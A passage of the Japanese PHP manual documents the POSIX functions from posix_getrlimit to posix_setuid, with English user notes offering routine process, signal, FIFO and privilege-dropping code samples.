各リソースには、それぞれソフトリミットとハードリミットがあります。 ソフトリミットとは、そのリソースに対してカーネルが課す制限値のことです。 ハードリミットとは、ソフトリミットの上限値のことです。 特権を持たないプロセスは、ソフトリミットの値を 0 からハードリミット値の間で設定することが可能です。 また、ハードリミットの値を下げることもできます。

返り値

各リソースに関する制限値を含む連想配列を返します。 個々のリミット値には、ソフトリミットとハードリミットがあります。

返される制限の一覧
制限の名前 | 制限についての説明
core | コアファイルの最大サイズ。0 の場合はコアファイルを作成しません。 コアファイルのサイズがこの値を超えると、 このサイズまで切り詰められます。
totalmem | プロセスのメモリの最大サイズを表すバイト数。
virtualmem | プロセスの仮想メモリの最大サイズを表すバイト数。
data | プロセスのデータセグメントの最大サイズを表すバイト数。
stack | プロセスのスタックの最大サイズを表すバイト数。
rss | RAM 上の仮想ページの最大数。
maxproc | 呼び出し元のプロセスの実ユーザー ID で作成できるプロセスの最大数。
memlock | RAM 内にロックできるメモリの最大バイト数。
cpu | そのプロセスが使用できる CPU 時間。
filesize | そのプロセスが使用できるデータセグメントの最大サイズを表すバイト数。
openfiles | オープンできるファイル記述子の最大値よりひとつ大きい値。
この関数は、失敗時に false を返します。

例

例1 posix_getrlimit() の使用例

<?php

$limits = posix_getrlimit();

print_r($limits);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [soft core] => 0
    [hard core] => unlimited
    [soft data] => unlimited
    [hard data] => unlimited
    [soft stack] => 8388608
    [hard stack] => unlimited
    [soft totalmem] => unlimited
    [hard totalmem] => unlimited
    [soft rss] => unlimited
    [hard rss] => unlimited
    [soft maxproc] => unlimited
    [hard maxproc] => unlimited
    [soft memlock] => unlimited
    [hard memlock] => unlimited
    [soft cpu] => unlimited
    [hard cpu] => unlimited
    [soft filesize] => unlimited
    [hard filesize] => unlimited
    [soft openfiles] => 1024
    [hard openfiles] => 1024
)

参考

  • man ページ GETRLIMIT(2)
  • posix_setrlimit() - システムリソース制限を設定

User Contributed Notes

petert at tebault dot org 29-Aug-2000 12:58
The array returned (on a RH6.2 box) is:
     soft core = 0
     hard core = unlimited
     soft data = unlimited
     hard data = unlimited
     soft stack = 8388608
     hard stack = unlimited
     soft totalmem = unlimited
     hard totalmem = unlimited
     soft rss = unlimited
     hard rss = unlimited
     soft maxproc = 2048
     hard maxproc = 2048
     soft memlock = unlimited
     hard memlock = unlimited
     soft cpu = unlimited
     hard cpu = unlimited
     soft filesize = unlimited
     hard filesize = unlimited
     soft openfiles = 1024
     hard openfiles = 1024


プロセスの現在の sid を得る

  • ≪ posix_getrlimit
  • posix_getuid ≫
  • PHP Manual
  • POSIX 関数
  • プロセスの現在の sid を得る

posix_getsid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getsid — プロセスの現在の sid を得る

説明

posix_getsid ( int $process_id ) : int|false

プロセス process_id のセッション ID を返します。 プロセスのセッション ID とは、セッションリーダーのプロセスグループ ID のことです。

パラメータ

process_id

プロセス ID。0 を指定すると、現在のプロセスとみなされます。 不正な process_id を指定すると、 false が返され、 posix_get_last_error() でチェックできるエラー情報が設定されます。

返り値

ID を表す整数値を返します。 失敗した場合に false を返します

例

例1 posix_getsid() の使用例

<?php
$pid = posix_getpid();
echo posix_getsid($pid); //8805
?>

参考

  • posix_getpgid() - ジョブ制御のプロセスグループ ID を得る
  • posix_setsid() - 現在のプロセスをセッションリーダーにする
  • POSIX man ページ GETSID(2)

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセスの実際のユーザー ID を返す

  • ≪ posix_getsid
  • posix_initgroups ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスの実際のユーザー ID を返す

posix_getuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getuid — 現在のプロセスの実際のユーザー ID を返す

説明

posix_getuid ( ) : int

現在のプロセスの実際のユーザー ID を返します。

返り値

ID を表す整数値を返します。

例

例1 posix_getuid() の使用例

<?php
echo posix_getuid(); //10000
?>

参考

  • posix_getpwuid() - 指定 ID のユーザーに関する情報を返す
  • POSIX man ページ GETUID(2)

User Contributed Notes

StanE 17-Jan-2016 05:51
None of the posix_* functions are available under Windows, since Windows is not POSIX compliant. But there seems to be / was an optional software package available, see here: https://en.wikipedia.org/wiki/Microsoft_POSIX_subsystem
chris at ocportal dot com 30-Nov-2008 06:35
Note that this function is not defined on Windows PHP.


グループアクセスリストを求める

  • ≪ posix_getuid
  • posix_isatty ≫
  • PHP Manual
  • POSIX 関数
  • グループアクセスリストを求める

posix_initgroups

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

posix_initgroups — グループアクセスリストを求める

説明

posix_initgroups ( string $username , int $group_id ) : bool

指定した名前のユーザーについてのグループアクセスリストを求めます。

パラメータ

username

リストを取得したいユーザー。

group_id

パスワードファイルから取得したグループ番号。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • Unix の initgroups(3) のマニュアル

User Contributed Notes

victor dot kupiyanov at gmail dot com 22-Mar-2012 08:19
The function does not calculate groups, it sets groups access list of the current process in accordance to user information in /etc/groups.

Quote from Unix manual page for initgroups:

NAME
       initgroups - initialize the supplementary group access list
...
DESCRIPTION
       The  initgroups()  function  initializes  the  group  access  list  by  reading the
       group database /etc/group and using all groups of which user is a member.
       The additional  group  group  is  also added to the list.


ファイル記述子が対話型端末であるかどうかを定義する

  • ≪ posix_initgroups
  • posix_kill ≫
  • PHP Manual
  • POSIX 関数
  • ファイル記述子が対話型端末であるかどうかを定義する

posix_isatty

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_isatty — ファイル記述子が対話型端末であるかどうかを定義する

説明

posix_isatty ( resource|int $file_descriptor ) : bool

ファイル記述子 file_descriptor が、 有効な端末デバイスを指しているかどうかを調べます。

パラメータ

fd

ファイル記述子。ファイルリソースか、あるいは int で指定します。 int を指定した場合は、システムコールにそのまま渡せるファイル記述子だとみなします。

たいていの場合は、ファイルリソースで指定することになるでしょう。

返り値

file_descriptor がオープンされており、 かつ端末に接続されている場合に true、 それ以外の場合に false を返します。

参考

  • posix_ttyname() - 端末のデバイス名を調べる
  • stream_isatty() - Check if a stream is a TTY

User Contributed Notes

KEINOS 08-Jan-2021 10:34
It's quite complicated to understand its movements. But it determines if the file_descriptor is open AND connected to a terminal.

Thus, while receiving data from the STDIN, for example, it will return false.

This move is useful to optionally pipe STDIN to a PHP script, to avoid hanging when nothing is from STDIN.

<?php

// Simply echoes the contents from STDIN if any
// and "no stdin" if not.
echo (posix_isatty(STDIN)) ? 'no stdin' . PHP_EOL : file_get_contents('php://stdin');
?>
hfuecks at phppatterns dot com 07-May-2004 02:12
Can be useful to determine whether output is being piped elsewhere, for PHP shell scripts, for example;

#!/usr/local/bin/php
<?php
if ( !posix_isatty(STDOUT) ) {
    fwrite(STDOUT, "Invalid TTY\n");
    exit(2);
}
fwrite(STDOUT, "Enter you name\n");
$name = fgets(STDIN);
fwrite(STDOUT,"Hello $name\n");
exit(0);
?>

If this script is like:

script.php > outfile

outfile will contain "Invalid TTY"


プロセスにシグナルを送信する

  • ≪ posix_isatty
  • posix_mkfifo ≫
  • PHP Manual
  • POSIX 関数
  • プロセスにシグナルを送信する

posix_kill

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_kill — プロセスにシグナルを送信する

説明

posix_kill ( int $process_id , int $signal ) : bool

シグナル signal をプロセス ID process_id のプロセスに送信します。

パラメータ

process_id

プロセス ID。

signal

PCNTL シグナル定数 のいずれか。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • POSIX システムの kill(2) マニュアルページも参照ください。 そこには、負のプロセスID、特別プロセスID 0、特別プロセスID -1、 シグナル番号 0 に関する追加情報があります。

User Contributed Notes

eddi13 29-Oct-2015 09:36
check whether the process is running. windows-linux
<?php
function isRunning($pid) {
        $isRunning = false;
        if(strncasecmp(PHP_OS, "win", 3) == 0) {
            $out = [];
            exec("TASKLIST /FO LIST /FI \"PID eq $pid\"", $out);
            if(count($out) > 1) {
                $isRunning = true;
            }
        }
        elseif(posix_kill(intval($prevPid), 0)) {
            $isRunning = true;
        }
        return $isRunning;
}
?>
Martin 05-May-2015 05:34
Warning!

The $sig parameter cannot be one of the PCNTL signals constants if you are running your script from the browser (ie. as an apache process). Strangely it does seem to allow the constants to be used from the command line ("php -r ...") but if your script is running from within apache then calling posix_kill($pid, SIGINT) will return FALSE (and posix_get_last_error() will return 0).
Mauro 15-May-2014 01:47
Posix_kill is not so reliable (it seems it always deliver the signal - even 0 to a no existing process - and doesn't generate an error).
I found this way to check the existence of a process, using /proc:

if(!file_exists("/proc/$pid/cmdline"

obviously check the permissions .
unsure at tactileint dot com 09-Mar-2011 04:36
Just like the error codes (EPERM, EEXIST, etc), signal numbers are different on different platforms.  EG on macos, SIGCONT is 19; on Linux SIGSTOP is 19.  Big difference.

If you have PCNTL compiled in, you can use the constants like SIGCONT; i trust they're all correct.

If not, look in /usr/include/signal.h; these days its tons of ifdef mumbo jumbo but you can go to /usr/include/bits or /usr/include/sys or something and look for files named sig*.h; one of them will list them for you.
Anonymous 26-Jan-2011 03:27
here is a process kill function for windows:

<?php
function win_kill($pid){
    $wmi=new COM("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
    $procs=$wmi->ExecQuery("SELECT * FROM Win32_Process WHERE ProcessId='".$pid."'");
    foreach($procs as $proc)
      $proc->Terminate();
}
?>
Skippy 14-Jan-2009 02:12
In order to check the outcome of posix_kill() you can use posix_get_last_error(), which will return 0 (zero) in case of success and a non-zero error code otherwise. Use the number returned by posix_get_last_error() as a parameter to posix_strerror() to get a human-readable error message corresponding to that error code.

Please note that a non-zero code from posix_get_last_error() does NOT mean that the pid doesn't exist; it only means that posix_kill() ran into trouble signalling that process. For example, the pid may exist but the process is owned by a user other than the one you use to run the code, and you're not root; in which case you'll get an error saying you're not allowed to signal that process (operation not permitted).

Accordingly, the code posted by Jille earlier is WRONG. According to the POSIX spec (see errno.h on your system), EPERM means "operation not permitted". This should NOT be taken as indication that the pid doesn't exist, it merely means that posix_kill() couldn't signal that process. If anything, it should be a hint that a process with that pid IS running.

errno.h constant names definitions:
http://www.opengroup.org/onlinepubs/009695399/basedefs/errno.h.html

Unfortunately, PHP does not currently define constants with these names (such as EPERM, ENOENT, ESRCH etc.) A non-complete subset is defined for socket operations (SOCKET_EPERM for example), but it doesn't hold all the possible POSIX error constants; ESRCH for instance is of particular interest for posix_kill(), but SOCKET_ESRCH doesn't exist, because it means "no such process" and doesn't make sense for sockets.

Solutions:
* Have PHP devs define these constants in a future PHP version.
* Look-up errno.h on your system and define your own constants. You can use a script to parse errno.h and either define the constants on the fly or generate, once, the PHP code to define them.

Please be advised, however, that relying on a specific errno.h is not portable. Different systems may have different numeric values for these constants. That's why PHP should be defining the constants at compilation time and the code should be able to rely on the constant names; only the names are portable, not the actual values.
regis dot fr dot php dot net at tornad dot net 24-Dec-2008 07:06
A little recursive function to kill a process and his childs.
it works fine for me and I don't have find something else to do it.
It's a mix of various scripts I've found.

<?php
    function killProcessAndChilds($pid,$signal) {
        exec("ps -ef| awk '\$3 == '$pid' { print  \$2 }'", $output, $ret);
        if($ret) return 'you need ps, grep, and awk';
        while(list(,$t) = each($output)) {
            if ( $t != $pid ) {
                killProcessAndChilds($t,$signal);
            }
        }
        //echo "killing ".$pid."\n";
        posix_kill($pid, 9);
    }
?>
Jille at mydevnull dot quis dot cx 16-Apr-2008 06:22
If you want to test whether processes owned by other users are running, you can use:

<?php
  $running=posix_kill($pid, 0);
  if(posix_get_last_error()==1) /* EPERM */
    $running=true;
?>

If the process is owned by somebody else (and you're not root), you will get an EPERM.
On my system (FreeBSD) this is defined to 1.

You should test what the value of EPERM is on your system.
Jacques Manukyan 21-Mar-2008 06:40
Keep in mind that you can only send kill signals to processes owned by your UID.

If you are running your program as root, then you can send kill signals to all processes.
codeslinger at compsalot dot com 02-Feb-2005 08:42
Detecting if another copy of a program is running (*NIX specific)

One cute trick, to see if another process is running, is to send it signal 0.  Signal 0 does not actually get sent, but kill will check to see if it is possible to send the signal.  Note that this only works if you have permission to send a signal to that process.

A practical use for this technique is to avoid running multiple copies of the same program.  You save the PID to a file in the usual way...   Then during start-up you check the value of the PID file and see if that process currently exists.

This is not totally fool-proof.  In rare circumstances it is possible for an unrelated program to have the same recycled PID.  But that other program would most likely not accept signals from your program anyway (unless your program is root).

To make it as reliable as possible, you would want your program to remove it's PID file during shutdown (see register_shutdown_function).  That way, only if your program crashed AND another program happened to use the same PID AND the other program was willing to accept signals from your program, would you get a wrong result.  This would be an exceedingly rare occurrence.  This also assumes that the PID file has not been tampered with (as do all programs that rely on PID files...).

It's also possible to use 'ps x' to detect this, but using kill is much more efficient.

Here is the core routine:

    $PrevPid = file_get_contents($PathToPidFile);

    if(($PrevPid !== FALSE) && posix_kill(rtrim($PrevPid),0)) {
        echo "Error: Server is already running with PID: $PrevPid\n";
        exit(-99);
    } else {
        echo "Starting Server...";
    }

Hmmm...  if you want total 100% reliability, plus efficiency.  What you could do is to make the initial check using kill.  If it says not running, then you are ready to zoom.  But if kill says already running, then you could use:

//You can get the $ProgramName from $argv[0]
$Result = shell_exec('ps x | grep "' . $PrevPid . '" | grep "' . $ProgramName . '" | grep -v "grep"');

Assuming that your program has permissions to do this.  If you execute that and get back an empty string, then the other program is an imposter using a recycled PID and you are clear to go.

-- Erik
gid at gifpaste dot net 17-Dec-2002 04:26
For those that want to kill everything matching a certain pattern (ala killall in for linux), try something like this.  Note that this is a good idea to do something like this for cross platform compatilibity, instead of executing killall, because killall for other UNIXes does just that, kills EVERYTHING.  :)

function killall($match) {
    if($match=='') return 'no pattern specified';
    $match = escapeshellarg($match);
    exec("ps x|grep $match|grep -v grep|awk '{print $1}'", $output, $ret);
    if($ret) return 'you need ps, grep, and awk installed for this to work';
    while(list(,$t) = each($output)) {
        if(preg_match('/^([0-9]+)/', $t, $r)) {
            system('kill '. $r[1], $k);
            if(!$k) $killed = 1;
        }
    }
    if($killed) {
        return '';
    } else {
        return "$match: no process killed";
    }
}


fifo スペシャルファイル(名前付きパイプ)を作成する

  • ≪ posix_kill
  • posix_mknod ≫
  • PHP Manual
  • POSIX 関数
  • fifo スペシャルファイル(名前付きパイプ)を作成する

posix_mkfifo

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_mkfifo — fifo スペシャルファイル(名前付きパイプ)を作成する

説明

posix_mkfifo ( string $filename , int $permissions ) : bool

posix_mkfifo() は、 FIFO スペシャルファイルを作成します。 これはファイルシステム内に存在し、プロセス間の双方向通信の末端として 動作します。

パラメータ

filename

FIFO ファイルへのパス。

permissions

2 番目のパラメータ permissions は、8 進表記 (例: 0644)で指定する必要があります。新しく作成される FIFO のパーミッションは、現在の umask() の設定にも依存します。 作成されるファイルのパーミッションは (mode & ~umask) となります。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Mauro Titimoli 30-Dec-2009 05:36
Object Oriented FIFO Communication process:

<?php
interface Communication {
    public function receive($bytes = 1024);

    public function getData();

    public function clearData();

    public function send($data);
}

class FIFOCommunication implements Communication {
    private $fifos;

    private $data;

    static public function stream_fifo_open($fifoPath, $mode) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');
            sleep(1);

            exit(0);
        }
        else {
            usleep(15);

            return fopen($fifoPath, 'r');
        }
    }

    static public function stream_fifo_write($fifoPath, $mode, $data) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');

            fwrite($fifo, $data);

            exit(0);
        }
    }

    public function __construct(
        $fifoInputName, $fifoInputMode,
        $fifoOutputName, $fifoOutputMode
    ) {
        $this->fifos = array(
            'input' => array(
                'file' => self::stream_fifo_open($fifoInputName, $fifoInputMode),
                'mode' => $fifoInputMode,
                'name' => $fifoInputName,
                'use' => 'r',
            ),
            'output' => array(
                'mode' => $fifoOutputMode,
                'name' => $fifoOutputName,
                'use' => 'w'
            )
        );
    }
    public function remove($type = null) {
        switch ($type) {
            case 'input':
                @unlink($this->fifos['input']['name']);
                break;

            case 'output':
                @unlink($this->fifos['output']['name']);
                break;

            default:
                @unlink($this->fifos['input']['name']);
                @unlink($this->fifos['output']['name']);
        }
    }

    public function receive($bytes = 1024) {
        $readers = array($this->fifos['input']['file']);
        if (stream_select($readers, $writers = null, $except = null, 0, 15) == 1) {
            $data = fread($this->fifos['input']['file'], $bytes);
        }

        if (! empty($data)) {
            $this->data .= $data;
            return true;
        }
        else {
            return false;
        }
    }

    public function getData() {
        return $this->data;
    }

    public function clearData() {
        $this->data = null;
    }

    public function send($data) {
        $fifoOutput = & $this->fifos['output'];
        self::stream_fifo_write($fifoOutput['name'], $fifoOutput['mode'], $data);
    }
}

$fifoCommunication = new FIFOCommunication(
    getmypid() . '.input', 0600,
    getmypid() . '.output', 0600
);

echo "COMMUNICATION STARTED\n";

while (true) {
    if ($fifoCommunication->receive()) {
        $data = $fifoCommunication->getData();
        if ($data == "EXIT\n") {
            break;
        }
        else {
            $fifoCommunication->send('RECEIVED: ' . $fifoCommunication->getData());
        }
    }

    sleep(1);
}

$fifoComunication->remove();
?>
tim 17-Mar-2009 10:00
For non-blocking, fopen'd read access to a "half-connected" pipe (created with /usr/bin/mkfifo, posix_mkfifo, etc.), I just go ahead and do:
<?php
  $fh=fopen($fifo, "r+"); // ensures at least one writer (us) so will be non-blocking
  stream_set_blocking($fh, false); // prevent fread / fwrite blocking
?>

The "r+" allows fopen to return immediately regardless of external  writer channel.  You then have to use your own conventions to track $fh as a pseudo-read-only resource, since fwrite would technically be permitted as well.  I've successfully used this approach on Linux with PHP 4.3.10 and PHP 5.2.4 with both half-connected (no writer yet) and pre-connected (writer already waiting) pipes, polling with stream_select as usual.
mike at easystyle dot org 14-Oct-2008 05:06
Couldn't you just open up a writer yourself right after you open up a reader?  Just to be sure that you won't have any blocking issues...
TorokAlpar at Gmail dot com 05-Apr-2008 12:11
Here is a possible solution to what  - tech at kwur dot com- mentioned:

 I faced the problem where i had a process (a server) that needed to take care of socket connection, and in the meanwhile get some data from the database. I didn't wanted to make the clients wait for the query execution time, so i decided to make a separate process that executes the query on the DB, and the two would communicate over a pipe. Of course i didn't wanted the server blocking if no data was available. So what i come up with is to use stream_select() , and to overcome the mentioned problem, i would fork the process, open up the pipe for writing in the child, this way the parent won't block when it opens the pipe.

here is some code

<code>

<?php

if (pcntl_fork() == 0)
{
    // kid
    $file = fopen("JobsQueue","w");
    sleep(1);
    exit(0);
}
else
{
    usleep(15); // make sure that the child executes first
    $file = fopen("JobsQueue","r");
}

 echo "opened the queue \n";

 while (true)
 {
     $reders = array($file);
     if (stream_select($reders,$writers=null,$except=null,0,15) < 1)
     {
         continue;
     }
     else
     {
         // read data from the fifo
         $data = fread($file,1024);
         echo $data;
     }
     sleep(1);
 }

?>

</code>
tech at kwur dot com 19-Sep-2007 10:44
This is still not a solution: if I listen to commands on a pipe and output status on a separate pipe, PHP will block on both opens because something else has not already connected to this pipe.  Because I can't do a low-level fcntl() to to set O_NONBLOCK or something like it, this always locks up and is really stupid.  The only way I can get it to work is to spawn seperate subshells with system() and have them cat, or echo respectively and then the pipes work properly...usually?  Its alot of trouble that we can't set the blocking on the open!!
Enric Jaen 16-Aug-2007 09:22
A way to have a non-blocking pipe reader is to check first if the pipe exists. If so, then read from the pipe, otherwise do other stuff. This will work assuming that the writer creates the pipe, writes on it, and after that deletes the pipe.

This is a blocking writer:

<?php
   $pipe="/tmp/pipe";
   $mode=0600;
   if(!file_exists($pipe)) {
      // create the pipe
      umask(0);
      posix_mkfifo($pipe,$mode);
   }
   $f = fopen($pipe,"w");
   fwrite($f,"hello");  //block until there is a reader
   unlink($pipe); //delete pipe

?>

And this is the non-blocking reader:

<?php
   $pipe="/tmp/pipe";
   if(!file_exists($pipe)) {
      echo "I am not blocked!";
   }
   else {
      //block and read from the pipe
      $f = fopen($pipe,"r");
      echo fread($f,10);
   }
?>
Uther Pendragon 18-May-2007 02:12
Note (quoted from `man 7 pipe` on debian linux):

"On some systems (but not Linux), pipes are bidirectional:  data  can  be  transmitted  in  both directions  between  the pipe ends.  According to POSIX.1-2001, pipes only need to be unidirectional.  Portable applications should avoid reliance on bidirectional pipe semantics."

Linux pipes are NOT bidirectional.

Also, it appears to me that the use of fifo (named) pipes in php is pretty pointless as there appears to be NO way of determining whether opening (let alone reading) from it will block.  stream_select SHOULD be able to accomplish this, unfortunatly you cannot get to this point because even trying to OPEN a pipe for read will block until there is a writer.

I even tried to use popen("cat $name_of_pipe", 'r'), and even it blocked until it was opened for write by another process.


スペシャルファイルあるいは通常のファイルを作成する (POSIX.1)

  • ≪ posix_mkfifo
  • posix_setegid ≫
  • PHP Manual
  • POSIX 関数
  • スペシャルファイルあるいは通常のファイルを作成する (POSIX.1)

posix_mknod

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

posix_mknod — スペシャルファイルあるいは通常のファイルを作成する (POSIX.1)

説明

posix_mknod ( string $filename , int $flags , int $major = 0 , int $minor = 0 ) : bool

スペシャルファイルあるいは通常のファイルを作成します。

パラメータ

filename

作成するファイル。

flags

このパラメータは、ファイル型(以下の定数 POSIX_S_IFREG、 POSIX_S_IFCHR、POSIX_S_IFBLK、 POSIX_S_IFIFO あるいは POSIX_S_IFSOCK のうちのひとつ) およびパーミッションの論理和で構成されます。

major

メジャーデバイスカーネル ID (S_IFCHR あるいは S_IFBLK を使用している場合に渡す必要があります)。

minor

マイナーデバイスカーネル ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 posix_mknod() の例

<?php

$file = '/tmp/tmpfile';  // ファイル名
$type = POSIX_S_IFBLK;   // ファイル型
$permissions = 0777;     // 8 進数
$major = 1;
$minor = 8;              // /dev/random

if (!posix_mknod($file, $type | $permissions, $major, $minor)) {
    die('Error ' . posix_get_last_error() . ': ' . posix_strerror(posix_get_last_error()));
}

?>

参考

  • posix_mkfifo() - fifo スペシャルファイル(名前付きパイプ)を作成する

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセスの実効 GID を設定する

  • ≪ posix_mknod
  • posix_seteuid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスの実効 GID を設定する

posix_setegid

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

posix_setegid — 現在のプロセスの実効 GID を設定する

説明

posix_setegid ( int $group_id ) : bool

現在のプロセスの実効グループ ID を設定します。 この関数は特権関数であり、実行するにはシステム上において適当な権限 (通常は root) が必要です。

パラメータ

group_id

グループ ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 posix_setegid() の例

この例では、まず実効グループ ID を変更してから、それを表示します。

<?php
echo '実グループ ID は '.posix_getgid(); //20
posix_setegid(40);
echo '実グループ ID は '.posix_getgid(); //20
echo '実効グループ ID は '.posix_getegid(); //40
?>

参考

  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す
  • posix_getgid() - 現在のプロセスの実際のグループ ID を返す
  • posix_setgid() - 現在のプロセスの GID を設定する

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセスの実効 UID を設定する

  • ≪ posix_setegid
  • posix_setgid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスの実効 UID を設定する

posix_seteuid

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

posix_seteuid — 現在のプロセスの実効 UID を設定する

説明

posix_seteuid ( int $user_id ) : bool

現在のプロセスの実効ユーザー ID を設定します。 この関数は特権関数であり、実行するにはシステム上において適当な権限 (通常は root) が必要です。

パラメータ

user_id

ユーザー ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • posix_geteuid() - 現在のプロセスの有効なユーザー ID を返す
  • posix_setgid() - 現在のプロセスの GID を設定する
  • posix_getuid() - 現在のプロセスの実際のユーザー ID を返す

User Contributed Notes

divinity76 at gmail dot com 14-Jul-2020 11:23
if you want to set uid by username rather than uid, try combining it with posix_getpwnam(),

<?php
posix_seteuid (posix_getpwnam("www-data")["uid"]);
posix_setegid(posix_getpwnam("www-data")["gid"]);
?>

note that posix_getpwnam() reads /etc/passwd on each invocation, if you need it to go fast, this should be faster (only read passwd once):
<?php
$posix_user_info=posix_getpwnam("www-data");
posix_seteuid ($posix_user_info["uid"]);
posix_setegid($posix_user_info["gid"]);
?>

and to go back to being root, just set them to 0,

<?php
posix_seteuid(0);
posix_setegid(0);
?>


現在のプロセスの GID を設定する

  • ≪ posix_seteuid
  • posix_setpgid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスの GID を設定する

posix_setgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setgid — 現在のプロセスの GID を設定する

説明

posix_setgid ( int $group_id ) : bool

現在のプロセスのグループ ID を設定します。 この関数は特権関数であり、実行するにはシステム上において適当な権限 (通常は root) が必要です。 posix_setgid() を最初に、 posix_setuid() を最後にコールするのが、 関数コールの正しい順序となります。

注意:

コール元がスーバーユーザーの場合は、実効グループ ID も設定します。

パラメータ

group_id

グループ ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 posix_setgid() の例

この例は、いったん変更した後で実効グループ ID を表示します。

<?php
echo '実グループ ID は '.posix_getgid(); //20
posix_setgid(40);
echo '実グループ ID は '.posix_getgid(); //40
echo '実効グループ ID は '.posix_getegid(); //40
?>

参考

  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す
  • posix_getgid() - 現在のプロセスの実際のグループ ID を返す

User Contributed Notes

jac 26-May-2011 10:26
if you're going to use this along with posix_setuid, make sure you call posix_setgid first:

<?php
define (PROC_USER, 'john');
define (PROC_GRP, 'admins');
?>

following works:

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setgid($group['gid']);
posix_setuid($user['uid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>

following will not set gid

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setuid($user['uid']);
posix_setgid($group['gid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>


ジョブ制御のプロセスグループ ID を設定する

  • ≪ posix_setgid
  • posix_setrlimit ≫
  • PHP Manual
  • POSIX 関数
  • ジョブ制御のプロセスグループ ID を設定する

posix_setpgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setpgid — ジョブ制御のプロセスグループ ID を設定する

説明

posix_setpgid ( int $process_id , int $process_group_id ) : bool

プロセス process_id をプロセスグループ process_group_id に加えます。

パラメータ

process_id

プロセス ID。

process_group_id

プロセスグループ ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • プロセスグループおよびジョブ制御に関する詳細は、 POSIX.1 および POSIX システムのマニュアルページ setsid(2) を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


システムリソース制限を設定

  • ≪ posix_setpgid
  • posix_setsid ≫
  • PHP Manual
  • POSIX 関数
  • システムリソース制限を設定

posix_setrlimit

(PHP 7, PHP 8)

posix_setrlimit — システムリソース制限を設定

説明

posix_setrlimit ( int $resource , int $soft_limit , int $hard_limit ) : bool

posix_setrlimit() は、 指定されたシステムリソースに対してソフトリミットおよびハードリミットを設定します。

各リソースには、それぞれソフトリミットとハードリミットがあります。 ソフトリミットとは、そのリソースに対してカーネルが課す制限値のことです。 ハードリミットとは、ソフトリミットの上限値のことです。 特権を持たないプロセスは、ソフトリミットの値を 0 からハードリミット値の間で設定することが可能です。 また、ハードリミットの値を下げることもできます。

パラメータ

resource

設定されるリミットに対応するリソースリミット定数です。

soft_limit

ソフトリミット、単位は、リソース制限が必要とする任意の単位です。または、 POSIX_RLIMIT_INFINITY です。

hard_limit

ハードリミット、単位は、リソース制限が必要とする任意の単位です。または、 POSIX_RLIMIT_INFINITY です。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • man ページ SETRLIMIT(2)
  • posix_getrlimit() - システムリソース制限に関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセスをセッションリーダーにする

  • ≪ posix_setrlimit
  • posix_setuid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスをセッションリーダーにする

posix_setsid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setsid — 現在のプロセスをセッションリーダーにする

説明

posix_setsid ( ) : int

現在のプロセスをセッションリーダーにします。

返り値

セッション ID、あるいはエラー時に -1 を返します。

参考

  • プロセスグループおよびジョブ制御に関する詳細は、 POSIX.1 および POSIX システムのマニュアルページ setsid(2) を参照ください。

User Contributed Notes

karlsson dot nicklas at gmail dot com 22-Jan-2008 08:32
Very useful when making daemons, for example:

<?php
    $pid = pcntl_fork(); // fork
    if ($pid < 0)
        exit;
    else if ($pid) // parent
        exit;
    else { // child

        $sid = posix_setsid();

        if ($sid < 0)
            exit;

        for($i = 0; $i <= 60; $i++) { // do something for 5 minutes
            sleep(5);
        }
    }
?>


現在のプロセスの UID を設定する

  • ≪ posix_setsid
  • posix_strerror ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスの UID を設定する

posix_setuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setuid — 現在のプロセスの UID を設定する

説明

posix_setuid ( int $user_id ) : bool

現在のプロセスの実際のユーザー ID を設定します。 この関数は特権関数であり、実行するにはシステム上において適当な権限 (通常は root) が必要です。

パラメータ

user_id

ユーザー ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 posix_setuid() の例

この例は、現在のユーザー ID を表示し、それを別のものに変更します。

<?php
echo posix_getuid()."\n"; //10001
